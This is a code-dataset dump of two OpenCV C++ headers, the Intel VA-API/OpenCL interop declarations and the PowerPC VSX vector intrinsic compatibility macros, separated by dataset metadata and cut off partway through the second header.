// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html. // Copyright (C) 2015, Itseez, Inc., all rights reserved. // Third party copyrights are property of their respective owners. #ifndef OPENCV_CORE_VA_INTEL_HPP #define OPENCV_CORE_VA_INTEL_HPP #ifndef __cplusplus # error va_intel.hpp header must be compiled as C++ #endif #include "opencv2/core.hpp" #include "ocl.hpp" #if defined(HAVE_VA) # include "va/va.h" #else // HAVE_VA # if !defined(_VA_H_) typedef void* VADisplay; typedef unsigned int VASurfaceID; # endif // !_VA_H_ #endif // HAVE_VA namespace cv { namespace va_intel { /** @addtogroup core_va_intel This section describes Intel VA-API/OpenCL (CL-VA) interoperability. To enable CL-VA interoperability support, configure OpenCV using CMake with WITH_VA_INTEL=ON . Currently VA-API is supported on Linux only. You should also install Intel Media Server Studio (MSS) to use this feature. You may have to specify the path(s) to MSS components for cmake in environment variables: - VA_INTEL_IOCL_ROOT for Intel OpenCL (default is "/opt/intel/opencl"). To use CL-VA interoperability you should first create VADisplay (libva), and then call initializeContextFromVA() function to create OpenCL context and set up interoperability. */ //! @{ /////////////////// CL-VA Interoperability Functions /////////////////// namespace ocl { using namespace cv::ocl; // TODO static functions in the Context class /** @brief Creates OpenCL context from VA. @param display - VADisplay for which CL interop should be established. @param tryInterop - try to set up for interoperability, if true; set up for use slow copy if false. @return Returns reference to OpenCL Context */ CV_EXPORTS Context& initializeContextFromVA(VADisplay display, bool tryInterop = true); } // namespace cv::va_intel::ocl /** @brief Converts InputArray to VASurfaceID object. @param display - VADisplay object. @param src - source InputArray. @param surface - destination VASurfaceID object. @param size - size of image represented by VASurfaceID object. */ CV_EXPORTS void convertToVASurface(VADisplay display, InputArray src, VASurfaceID surface, Size size); /** @brief Converts VASurfaceID object to OutputArray. @param display - VADisplay object. @param surface - source VASurfaceID object. @param size - size of image represented by VASurfaceID object. @param dst - destination OutputArray. */ CV_EXPORTS void convertFromVASurface(VADisplay display, VASurfaceID surface, Size size, OutputArray dst); //! @} }} // namespace cv::va_intel #endif /* OPENCV_CORE_VA_INTEL_HPP */
2,735
va_intel
hpp
en
cpp
code
{"qsc_code_num_words": 379, "qsc_code_num_chars": 2735.0, "qsc_code_mean_word_length": 5.34828496, "qsc_code_frac_words_unique": 0.41688654, "qsc_code_frac_chars_top_2grams": 0.03453379, "qsc_code_frac_chars_top_3grams": 0.02170696, "qsc_code_frac_chars_top_4grams": 0.02516034, "qsc_code_frac_chars_dupe_5grams": 0.1272817, "qsc_code_frac_chars_dupe_6grams": 0.06610755, "qsc_code_frac_chars_dupe_7grams": 0.06610755, "qsc_code_frac_chars_dupe_8grams": 0.06610755, "qsc_code_frac_chars_dupe_9grams": 0.06610755, "qsc_code_frac_chars_dupe_10grams": 0.06610755, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00215517, "qsc_code_frac_chars_whitespace": 0.15173675, "qsc_code_size_file_byte": 2735.0, "qsc_code_num_lines": 78.0, "qsc_code_num_chars_line_max": 115.0, "qsc_code_num_chars_line_mean": 35.06410256, "qsc_code_frac_chars_alphabet": 0.87155172, "qsc_code_frac_chars_comments": 0.7250457, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09090909, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03989362, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01282051, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.13636364, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.27272727, "qsc_codecpp_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/vsx_utils.hpp
// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html #ifndef OPENCV_HAL_VSX_UTILS_HPP #define OPENCV_HAL_VSX_UTILS_HPP #include "opencv2/core/cvdef.h" #ifndef SKIP_INCLUDES # include <assert.h> #endif //! @addtogroup core_utils_vsx //! @{ #if CV_VSX #define __VSX_S16__(c, v) (c){v, v, v, v, v, v, v, v, v, v, v, v, v, v, v, v} #define __VSX_S8__(c, v) (c){v, v, v, v, v, v, v, v} #define __VSX_S4__(c, v) (c){v, v, v, v} #define __VSX_S2__(c, v) (c){v, v} typedef __vector unsigned char vec_uchar16; #define vec_uchar16_set(...) (vec_uchar16){__VA_ARGS__} #define vec_uchar16_sp(c) (__VSX_S16__(vec_uchar16, (unsigned char)c)) #define vec_uchar16_c(v) ((vec_uchar16)(v)) #define vec_uchar16_z vec_uchar16_sp(0) typedef __vector signed char vec_char16; #define vec_char16_set(...) (vec_char16){__VA_ARGS__} #define vec_char16_sp(c) (__VSX_S16__(vec_char16, (signed char)c)) #define vec_char16_c(v) ((vec_char16)(v)) #define vec_char16_z vec_char16_sp(0) typedef __vector unsigned short vec_ushort8; #define vec_ushort8_set(...) (vec_ushort8){__VA_ARGS__} #define vec_ushort8_sp(c) (__VSX_S8__(vec_ushort8, (unsigned short)c)) #define vec_ushort8_c(v) ((vec_ushort8)(v)) #define vec_ushort8_z vec_ushort8_sp(0) typedef __vector signed short vec_short8; #define vec_short8_set(...) (vec_short8){__VA_ARGS__} #define vec_short8_sp(c) (__VSX_S8__(vec_short8, (signed short)c)) #define vec_short8_c(v) ((vec_short8)(v)) #define vec_short8_z vec_short8_sp(0) typedef __vector unsigned int vec_uint4; #define vec_uint4_set(...) (vec_uint4){__VA_ARGS__} #define vec_uint4_sp(c) (__VSX_S4__(vec_uint4, (unsigned int)c)) #define vec_uint4_c(v) ((vec_uint4)(v)) #define vec_uint4_z vec_uint4_sp(0) typedef __vector signed int vec_int4; #define vec_int4_set(...) (vec_int4){__VA_ARGS__} #define vec_int4_sp(c) (__VSX_S4__(vec_int4, (signed int)c)) #define vec_int4_c(v) ((vec_int4)(v)) #define vec_int4_z vec_int4_sp(0) typedef __vector float vec_float4; #define vec_float4_set(...) (vec_float4){__VA_ARGS__} #define vec_float4_sp(c) (__VSX_S4__(vec_float4, c)) #define vec_float4_c(v) ((vec_float4)(v)) #define vec_float4_z vec_float4_sp(0) typedef __vector unsigned long long vec_udword2; #define vec_udword2_set(...) (vec_udword2){__VA_ARGS__} #define vec_udword2_sp(c) (__VSX_S2__(vec_udword2, (unsigned long long)c)) #define vec_udword2_c(v) ((vec_udword2)(v)) #define vec_udword2_z vec_udword2_sp(0) typedef __vector signed long long vec_dword2; #define vec_dword2_set(...) (vec_dword2){__VA_ARGS__} #define vec_dword2_sp(c) (__VSX_S2__(vec_dword2, (signed long long)c)) #define vec_dword2_c(v) ((vec_dword2)(v)) #define vec_dword2_z vec_dword2_sp(0) typedef __vector double vec_double2; #define vec_double2_set(...) (vec_double2){__VA_ARGS__} #define vec_double2_c(v) ((vec_double2)(v)) #define vec_double2_sp(c) (__VSX_S2__(vec_double2, c)) #define vec_double2_z vec_double2_sp(0) #define vec_bchar16 __vector __bool char #define vec_bchar16_set(...) (vec_bchar16){__VA_ARGS__} #define vec_bchar16_c(v) ((vec_bchar16)(v)) #define vec_bshort8 __vector __bool short #define vec_bshort8_set(...) (vec_bshort8){__VA_ARGS__} #define vec_bshort8_c(v) ((vec_bshort8)(v)) #define vec_bint4 __vector __bool int #define vec_bint4_set(...) (vec_bint4){__VA_ARGS__} #define vec_bint4_c(v) ((vec_bint4)(v)) #define vec_bdword2 __vector __bool long long #define vec_bdword2_set(...) (vec_bdword2){__VA_ARGS__} #define vec_bdword2_c(v) ((vec_bdword2)(v)) #define VSX_FINLINE(tp) extern inline tp __attribute__((always_inline)) #define VSX_REDIRECT_1RG(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a) { return fn2(a); } #define VSX_REDIRECT_2RG(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a, const rg& b) { return fn2(a, b); } /* * GCC VSX compatibility **/ #if defined(__GNUG__) && !defined(__clang__) // inline asm helper #define VSX_IMPL_1RG(rt, rg, opc, fnm) \ VSX_FINLINE(rt) fnm(const rg& a) \ { rt rs; __asm__ __volatile__(#opc" %x0,%x1" : "=wa" (rs) : "wa" (a)); return rs; } #define VSX_IMPL_1VRG(rt, rg, opc, fnm) \ VSX_FINLINE(rt) fnm(const rg& a) \ { rt rs; __asm__ __volatile__(#opc" %0,%1" : "=v" (rs) : "v" (a)); return rs; } #define VSX_IMPL_2VRG_F(rt, rg, fopc, fnm) \ VSX_FINLINE(rt) fnm(const rg& a, const rg& b) \ { rt rs; __asm__ __volatile__(fopc : "=v" (rs) : "v" (a), "v" (b)); return rs; } #define VSX_IMPL_2VRG(rt, rg, opc, fnm) VSX_IMPL_2VRG_F(rt, rg, #opc" %0,%1,%2", fnm) #if __GNUG__ < 8 // Support for int4 -> dword2 expanding multiply was added in GCC 8. #ifdef vec_mule #undef vec_mule #endif #ifdef vec_mulo #undef vec_mulo #endif VSX_REDIRECT_2RG(vec_ushort8, vec_uchar16, vec_mule, __builtin_vec_mule) VSX_REDIRECT_2RG(vec_short8, vec_char16, vec_mule, __builtin_vec_mule) VSX_REDIRECT_2RG(vec_int4, vec_short8, vec_mule, __builtin_vec_mule) VSX_REDIRECT_2RG(vec_uint4, vec_ushort8, vec_mule, __builtin_vec_mule) VSX_REDIRECT_2RG(vec_ushort8, vec_uchar16, vec_mulo, __builtin_vec_mulo) VSX_REDIRECT_2RG(vec_short8, vec_char16, vec_mulo, __builtin_vec_mulo) VSX_REDIRECT_2RG(vec_int4, vec_short8, vec_mulo, __builtin_vec_mulo) VSX_REDIRECT_2RG(vec_uint4, vec_ushort8, vec_mulo, __builtin_vec_mulo) // dword2 support arrived in ISA 2.07 and GCC 8+ VSX_IMPL_2VRG(vec_dword2, vec_int4, vmulosw, vec_mule) VSX_IMPL_2VRG(vec_udword2, vec_uint4, vmulouw, vec_mule) VSX_IMPL_2VRG(vec_dword2, vec_int4, vmulesw, vec_mulo) VSX_IMPL_2VRG(vec_udword2, vec_uint4, vmuleuw, vec_mulo) #endif #if __GNUG__ < 7 // up to GCC 6 vec_mul only supports precisions and llong # ifdef vec_mul # undef vec_mul # endif /* * there's no a direct instruction for supporting 8-bit, 16-bit multiplication in ISA 2.07, * XLC Implement it by using instruction "multiply even", "multiply odd" and "permute" **/ # define VSX_IMPL_MULH(Tvec, cperm) \ VSX_FINLINE(Tvec) vec_mul(const Tvec& a, const Tvec& b) \ { \ static const vec_uchar16 ev_od = {cperm}; \ return vec_perm((Tvec)vec_mule(a, b), (Tvec)vec_mulo(a, b), ev_od); \ } #define VSX_IMPL_MULH_P16 0, 16, 2, 18, 4, 20, 6, 22, 8, 24, 10, 26, 12, 28, 14, 30 VSX_IMPL_MULH(vec_char16, VSX_IMPL_MULH_P16) VSX_IMPL_MULH(vec_uchar16, VSX_IMPL_MULH_P16) #define VSX_IMPL_MULH_P8 0, 1, 16, 17, 4, 5, 20, 21, 8, 9, 24, 25, 12, 13, 28, 29 VSX_IMPL_MULH(vec_short8, VSX_IMPL_MULH_P8) VSX_IMPL_MULH(vec_ushort8, VSX_IMPL_MULH_P8) // vmuluwm can be used for unsigned or signed integers, that's what they said VSX_IMPL_2VRG(vec_int4, vec_int4, vmuluwm, vec_mul) VSX_IMPL_2VRG(vec_uint4, vec_uint4, vmuluwm, vec_mul) // redirect to GCC builtin vec_mul, since it already supports precisions and llong VSX_REDIRECT_2RG(vec_float4, vec_float4, vec_mul, __builtin_vec_mul) VSX_REDIRECT_2RG(vec_double2, vec_double2, vec_mul, __builtin_vec_mul) VSX_REDIRECT_2RG(vec_dword2, vec_dword2, vec_mul, __builtin_vec_mul) VSX_REDIRECT_2RG(vec_udword2, vec_udword2, vec_mul, __builtin_vec_mul) #endif // __GNUG__ < 7 #if __GNUG__ < 6 /* * Instruction "compare greater than or equal" in ISA 2.07 only supports single * and double precision. * In XLC and new versions of GCC implement integers by using instruction "greater than" and NOR. **/ # ifdef vec_cmpge # undef vec_cmpge # endif # ifdef vec_cmple # undef vec_cmple # endif # define vec_cmple(a, b) vec_cmpge(b, a) # define VSX_IMPL_CMPGE(rt, rg, opc, fnm) \ VSX_IMPL_2VRG_F(rt, rg, #opc" %0,%2,%1\n\t xxlnor %x0,%x0,%x0", fnm) VSX_IMPL_CMPGE(vec_bchar16, vec_char16, vcmpgtsb, vec_cmpge) VSX_IMPL_CMPGE(vec_bchar16, vec_uchar16, vcmpgtub, vec_cmpge) VSX_IMPL_CMPGE(vec_bshort8, vec_short8, vcmpgtsh, vec_cmpge) VSX_IMPL_CMPGE(vec_bshort8, vec_ushort8, vcmpgtuh, vec_cmpge) VSX_IMPL_CMPGE(vec_bint4, vec_int4, vcmpgtsw, vec_cmpge) VSX_IMPL_CMPGE(vec_bint4, vec_uint4, vcmpgtuw, vec_cmpge) VSX_IMPL_CMPGE(vec_bdword2, vec_dword2, vcmpgtsd, vec_cmpge) VSX_IMPL_CMPGE(vec_bdword2, vec_udword2, vcmpgtud, vec_cmpge) // redirect to GCC builtin cmpge, since it already supports precisions VSX_REDIRECT_2RG(vec_bint4, vec_float4, vec_cmpge, __builtin_vec_cmpge) VSX_REDIRECT_2RG(vec_bdword2, vec_double2, vec_cmpge, __builtin_vec_cmpge) // up to gcc5 vec_nor doesn't support bool long long # undef vec_nor template<typename T> VSX_REDIRECT_2RG(T, T, vec_nor, __builtin_vec_nor) VSX_FINLINE(vec_bdword2) vec_nor(const vec_bdword2& a, const vec_bdword2& b) { return vec_bdword2_c(__builtin_vec_nor(vec_dword2_c(a), vec_dword2_c(b))); } // vec_packs doesn't support double words in gcc4 and old versions of gcc5 # undef vec_packs VSX_REDIRECT_2RG(vec_char16, vec_short8, vec_packs, __builtin_vec_packs) VSX_REDIRECT_2RG(vec_uchar16, vec_ushort8, vec_packs, __builtin_vec_packs) VSX_REDIRECT_2RG(vec_short8, vec_int4, vec_packs, __builtin_vec_packs) VSX_REDIRECT_2RG(vec_ushort8, vec_uint4, vec_packs, __builtin_vec_packs) VSX_IMPL_2VRG_F(vec_int4, vec_dword2, "vpksdss %0,%2,%1", vec_packs) VSX_IMPL_2VRG_F(vec_uint4, vec_udword2, "vpkudus %0,%2,%1", vec_packs) #endif // __GNUG__ < 6 #if __GNUG__ < 5 // vec_xxpermdi in gcc4 missing little-endian supports just like clang # define vec_permi(a, b, c) vec_xxpermdi(b, a, (3 ^ (((c) & 1) << 1 | (c) >> 1))) // same as vec_xxpermdi # undef vec_vbpermq VSX_IMPL_2VRG(vec_udword2, vec_uchar16, vbpermq, vec_vbpermq) VSX_IMPL_2VRG(vec_dword2, vec_char16, vbpermq, vec_vbpermq) #else # define vec_permi vec_xxpermdi #endif // __GNUG__ < 5 // shift left double by word immediate #ifndef vec_sldw # define vec_sldw __builtin_vsx_xxsldwi #endif // vector population count VSX_IMPL_1VRG(vec_uchar16, vec_uchar16, vpopcntb, vec_popcntu) VSX_IMPL_1VRG(vec_uchar16, vec_char16, vpopcntb, vec_popcntu) VSX_IMPL_1VRG(vec_ushort8, vec_ushort8, vpopcnth, vec_popcntu) VSX_IMPL_1VRG(vec_ushort8, vec_short8, vpopcnth, vec_popcntu) VSX_IMPL_1VRG(vec_uint4, vec_uint4, vpopcntw, vec_popcntu) VSX_IMPL_1VRG(vec_uint4, vec_int4, vpopcntw, vec_popcntu) VSX_IMPL_1VRG(vec_udword2, vec_udword2, vpopcntd, vec_popcntu) VSX_IMPL_1VRG(vec_udword2, vec_dword2, vpopcntd, vec_popcntu) // converts between single and double-precision VSX_REDIRECT_1RG(vec_float4, vec_double2, vec_cvfo, __builtin_vsx_xvcvdpsp) VSX_REDIRECT_1RG(vec_double2, vec_float4, vec_cvfo, __builtin_vsx_xvcvspdp) // converts word and doubleword to double-precision #undef vec_ctd VSX_IMPL_1RG(vec_double2, vec_int4, xvcvsxwdp, vec_ctdo) VSX_IMPL_1RG(vec_double2, vec_uint4, xvcvuxwdp, vec_ctdo) VSX_IMPL_1RG(vec_double2, vec_dword2, xvcvsxddp, vec_ctd) VSX_IMPL_1RG(vec_double2, vec_udword2, xvcvuxddp, vec_ctd) // converts word and doubleword to single-precision #undef vec_ctf VSX_IMPL_1RG(vec_float4, vec_int4, xvcvsxwsp, vec_ctf) VSX_IMPL_1RG(vec_float4, vec_uint4, xvcvuxwsp, vec_ctf) VSX_IMPL_1RG(vec_float4, vec_dword2, xvcvsxdsp, vec_ctfo) VSX_IMPL_1RG(vec_float4, vec_udword2, xvcvuxdsp, vec_ctfo) // converts single and double precision to signed word #undef vec_cts VSX_IMPL_1RG(vec_int4, vec_double2, xvcvdpsxws, vec_ctso) VSX_IMPL_1RG(vec_int4, vec_float4, xvcvspsxws, vec_cts) // converts single and double precision to unsigned word #undef vec_ctu VSX_IMPL_1RG(vec_uint4, vec_double2, xvcvdpuxws, vec_ctuo) VSX_IMPL_1RG(vec_uint4, vec_float4, xvcvspuxws, vec_ctu) // converts single and double precision to signed doubleword #undef vec_ctsl VSX_IMPL_1RG(vec_dword2, vec_double2, xvcvdpsxds, vec_ctsl) VSX_IMPL_1RG(vec_dword2, vec_float4, xvcvspsxds, vec_ctslo) // converts single and double precision to unsigned doubleword #undef vec_ctul VSX_IMPL_1RG(vec_udword2, vec_double2, xvcvdpuxds, vec_ctul) VSX_IMPL_1RG(vec_udword2, vec_float4, xvcvspuxds, vec_ctulo) // just in case if GCC doesn't define it #ifndef vec_xl # define vec_xl vec_vsx_ld # define vec_xst vec_vsx_st #endif #endif // GCC VSX compatibility /* * CLANG VSX compatibility **/ #if defined(__clang__) && !defined(__IBMCPP__) /* * CLANG doesn't support %x<n> in the inline asm template which fixes register number * when using any of the register constraints wa, wd, wf * * For more explanation checkout PowerPC and IBM RS6000 in https://gcc.gnu.org/onlinedocs/gcc/Machine-Constraints.html * Also there's already an open bug https://bugs.llvm.org/show_bug.cgi?id=31837 * * So we're not able to use inline asm and only use built-in functions that CLANG supports * and use __builtin_convertvector if clang missing any of vector conversions built-in functions * * todo: clang asm template bug is fixed, need to reconsider the current workarounds. */ // convert vector helper #define VSX_IMPL_CONVERT(rt, rg, fnm) \ VSX_FINLINE(rt) fnm(const rg& a) { return __builtin_convertvector(a, rt); } #if __clang_major__ < 5 // implement vec_permi in a dirty way # define VSX_IMPL_CLANG_4_PERMI(Tvec) \ VSX_FINLINE(Tvec) vec_permi(const Tvec& a, const Tvec& b, unsigned const char c) \ { \ switch (c) \ { \ case 0: \ return vec_mergeh(a, b); \ case 1: \ return vec_mergel(vec_mergeh(a, a), b); \ case 2: \ return vec_mergeh(vec_mergel(a, a), b); \ default: \ return vec_mergel(a, b); \ } \ } VSX_IMPL_CLANG_4_PERMI(vec_udword2) VSX_IMPL_CLANG_4_PERMI(vec_dword2) VSX_IMPL_CLANG_4_PERMI(vec_double2) // vec_xxsldwi is missing in clang 4 # define vec_xxsldwi(a, b, c) vec_sld(a, b, (c) * 4) #else // vec_xxpermdi is missing little-endian supports in clang 4 just like gcc4 # define vec_permi(a, b, c) vec_xxpermdi(b, a, (3 ^ (((c) & 1) << 1 | (c) >> 1))) #endif // __clang_major__ < 5 // shift left double by word immediate #ifndef vec_sldw # define vec_sldw vec_xxsldwi #endif // Implement vec_rsqrt since clang only supports vec_rsqrte #ifndef vec_rsqrt VSX_FINLINE(vec_float4) vec_rsqrt(const vec_float4& a) { return vec_div(vec_float4_sp(1), vec_sqrt(a)); } VSX_FINLINE(vec_double2) vec_rsqrt(const vec_double2& a) { return vec_div(vec_double2_sp(1), vec_sqrt(a)); } #endif // vec_promote missing support for doubleword VSX_FINLINE(vec_dword2) vec_promote(long long a, int b) { vec_dword2 ret = vec_dword2_z; ret[b & 1] = a; return ret; } VSX_FINLINE(vec_udword2) vec_promote(unsigned long long a, int b) { vec_udword2 ret = vec_udword2_z; ret[b & 1] = a; return ret; } // vec_popcnt should return unsigned but clang has different thought just like gcc in vec_vpopcnt #define VSX_IMPL_POPCNTU(Tvec, Tvec2, ucast) \ VSX_FINLINE(Tvec) vec_popcntu(const Tvec2& a) \ { return ucast(vec_popcnt(a)); } VSX_IMPL_POPCNTU(vec_uchar16, vec_char16, vec_uchar16_c); VSX_IMPL_POPCNTU(vec_ushort8, vec_short8, vec_ushort8_c); VSX_IMPL_POPCNTU(vec_uint4, vec_int4, vec_uint4_c); VSX_IMPL_POPCNTU(vec_udword2, vec_dword2, vec_udword2_c); // redirect unsigned types VSX_REDIRECT_1RG(vec_uchar16, vec_uchar16, vec_popcntu, vec_popcnt) VSX_REDIRECT_1RG(vec_ushort8, vec_ushort8, vec_popcntu, vec_popcnt) VSX_REDIRECT_1RG(vec_uint4, vec_uint4, vec_popcntu, vec_popcnt) VSX_REDIRECT_1RG(vec_udword2, vec_udword2, vec_popcntu, vec_popcnt) // converts between single and double precision VSX_REDIRECT_1RG(vec_float4, vec_double2, vec_cvfo, __builtin_vsx_xvcvdpsp) VSX_REDIRECT_1RG(vec_double2, vec_float4, vec_cvfo, __builtin_vsx_xvcvspdp) // converts word and doubleword to double-precision #ifdef vec_ctd # undef vec_ctd #endif VSX_REDIRECT_1RG(vec_double2, vec_int4, vec_ctdo, __builtin_vsx_xvcvsxwdp) VSX_REDIRECT_1RG(vec_double2, vec_uint4, vec_ctdo, __builtin_vsx_xvcvuxwdp) VSX_IMPL_CONVERT(vec_double2, vec_dword2, vec_ctd) VSX_IMPL_CONVERT(vec_double2, vec_udword2, vec_ctd) // converts word and doubleword to single-precision #if __clang_major__ > 4 # undef vec_ctf #endif VSX_IMPL_CONVERT(vec_float4, vec_int4, vec_ctf) VSX_IMPL_CONVERT(vec_float4, vec_uint4, vec_ctf) VSX_REDIRECT_1RG(vec_float4, vec_dword2, vec_ctfo, __builtin_vsx_xvcvsxdsp) VSX_REDIRECT_1RG(vec_float4, vec_udword2, vec_ctfo, __builtin_vsx_xvcvuxdsp) // converts single and double precision to signed word #if __clang_major__ > 4 # undef vec_cts #endif VSX_REDIRECT_1RG(vec_int4, vec_double2, vec_ctso, __builtin_vsx_xvcvdpsxws) VSX_IMPL_CONVERT(vec_int4, vec_float4, vec_cts) // converts single and double precision to unsigned word #if __clang_major__ > 4 # undef vec_ctu #endif VSX_REDIRECT_1RG(vec_uint4, vec_double2, vec_ctuo, __builtin_vsx_xvcvdpuxws) VSX_IMPL_CONVERT(vec_uint4, vec_float4, vec_ctu) // converts single and double precision to signed doubleword #ifdef vec_ctsl # undef vec_ctsl #endif VSX_IMPL_CONVERT(vec_dword2, vec_double2, vec_ctsl) // __builtin_convertvector unable to convert, xvcvspsxds is missing on it VSX_FINLINE(vec_dword2) vec_ctslo(const vec_float4& a) { return vec_ctsl(vec_cvfo(a)); } // converts single and double precision to unsigned doubleword #ifdef vec_ctul # undef vec_ctul #endif VSX_IMPL_CONVERT(vec_udword2, vec_double2, vec_ctul) // __builtin_convertvector unable to convert, xvcvspuxds is missing on it VSX_FINLINE(vec_udword2) vec_ctulo(const vec_float4& a) { return vec_ctul(vec_cvfo(a)); } #endif // CLANG VSX compatibility /* * Common GCC, CLANG compatibility **/ #if defined(__GNUG__) && !defined(__IBMCPP__) #ifdef vec_cvf # undef vec_cvf #endif #define VSX_IMPL_CONV_EVEN_4_2(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a) \ { return fn2(vec_sldw(a, a, 1)); } VSX_IMPL_CONV_EVEN_4_2(vec_double2, vec_float4, vec_cvf, vec_cvfo) VSX_IMPL_CONV_EVEN_4_2(vec_double2, vec_int4, vec_ctd, vec_ctdo) VSX_IMPL_CONV_EVEN_4_2(vec_double2, vec_uint4, vec_ctd, vec_ctdo) VSX_IMPL_CONV_EVEN_4_2(vec_dword2, vec_float4, vec_ctsl, vec_ctslo) VSX_IMPL_CONV_EVEN_4_2(vec_udword2, vec_float4, vec_ctul, vec_ctulo) #define VSX_IMPL_CONV_EVEN_2_4(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a) \ { \ rt v4 = fn2(a); \ return vec_sldw(v4, v4, 3); \ } VSX_IMPL_CONV_EVEN_2_4(vec_float4, vec_double2, vec_cvf, vec_cvfo) VSX_IMPL_CONV_EVEN_2_4(vec_float4, vec_dword2, vec_ctf, vec_ctfo) VSX_IMPL_CONV_EVEN_2_4(vec_float4, vec_udword2, vec_ctf, vec_ctfo) VSX_IMPL_CONV_EVEN_2_4(vec_int4, vec_double2, vec_cts, vec_ctso) VSX_IMPL_CONV_EVEN_2_4(vec_uint4, vec_double2, vec_ctu, vec_ctuo) // Only for Eigen! /* * changing behavior of conversion intrinsics for gcc has effect on Eigen * so we redefine old behavior again only on gcc, clang */ #if !defined(__clang__) || __clang_major__ > 4 // ignoring second arg since Eigen only truncates toward zero # define VSX_IMPL_CONV_2VARIANT(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a, int only_truncate) \ { \ assert(only_truncate == 0); \ CV_UNUSED(only_truncate); \ return fn2(a); \ } VSX_IMPL_CONV_2VARIANT(vec_int4, vec_float4, vec_cts, vec_cts) VSX_IMPL_CONV_2VARIANT(vec_float4, vec_int4, vec_ctf, vec_ctf) // define vec_cts for converting double precision to signed doubleword // which isn't combitable with xlc but its okay since Eigen only use it for gcc VSX_IMPL_CONV_2VARIANT(vec_dword2, vec_double2, vec_cts, vec_ctsl) #endif // Eigen #endif // Common GCC, CLANG compatibility /* * XLC VSX compatibility **/ #if defined(__IBMCPP__) // vector population count #define vec_popcntu vec_popcnt // overload and redirect with setting second arg to zero // since we only support conversions without the second arg #define VSX_IMPL_OVERLOAD_Z2(rt, rg, fnm) \ VSX_FINLINE(rt) fnm(const rg& a) { return fnm(a, 0); } VSX_IMPL_OVERLOAD_Z2(vec_double2, vec_int4, vec_ctd) VSX_IMPL_OVERLOAD_Z2(vec_double2, vec_uint4, vec_ctd) VSX_IMPL_OVERLOAD_Z2(vec_double2, vec_dword2, vec_ctd) VSX_IMPL_OVERLOAD_Z2(vec_double2, vec_udword2, vec_ctd) VSX_IMPL_OVERLOAD_Z2(vec_float4, vec_int4, vec_ctf) VSX_IMPL_OVERLOAD_Z2(vec_float4, vec_uint4, vec_ctf) VSX_IMPL_OVERLOAD_Z2(vec_float4, vec_dword2, vec_ctf) VSX_IMPL_OVERLOAD_Z2(vec_float4, vec_udword2, vec_ctf) VSX_IMPL_OVERLOAD_Z2(vec_int4, vec_double2, vec_cts) VSX_IMPL_OVERLOAD_Z2(vec_int4, vec_float4, vec_cts) VSX_IMPL_OVERLOAD_Z2(vec_uint4, vec_double2, vec_ctu) VSX_IMPL_OVERLOAD_Z2(vec_uint4, vec_float4, vec_ctu) VSX_IMPL_OVERLOAD_Z2(vec_dword2, vec_double2, vec_ctsl) VSX_IMPL_OVERLOAD_Z2(vec_dword2, vec_float4, vec_ctsl) VSX_IMPL_OVERLOAD_Z2(vec_udword2, vec_double2, vec_ctul) VSX_IMPL_OVERLOAD_Z2(vec_udword2, vec_float4, vec_ctul) // fixme: implement conversions of odd-numbered elements in a dirty way // since xlc doesn't support VSX registers operand in inline asm. #define VSX_IMPL_CONV_ODD_4_2(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a) { return fn2(vec_sldw(a, a, 3)); } VSX_IMPL_CONV_ODD_4_2(vec_double2, vec_float4, vec_cvfo, vec_cvf) VSX_IMPL_CONV_ODD_4_2(vec_double2, vec_int4, vec_ctdo, vec_ctd) VSX_IMPL_CONV_ODD_4_2(vec_double2, vec_uint4, vec_ctdo, vec_ctd) VSX_IMPL_CONV_ODD_4_2(vec_dword2, vec_float4, vec_ctslo, vec_ctsl) VSX_IMPL_CONV_ODD_4_2(vec_udword2, vec_float4, vec_ctulo, vec_ctul) #define 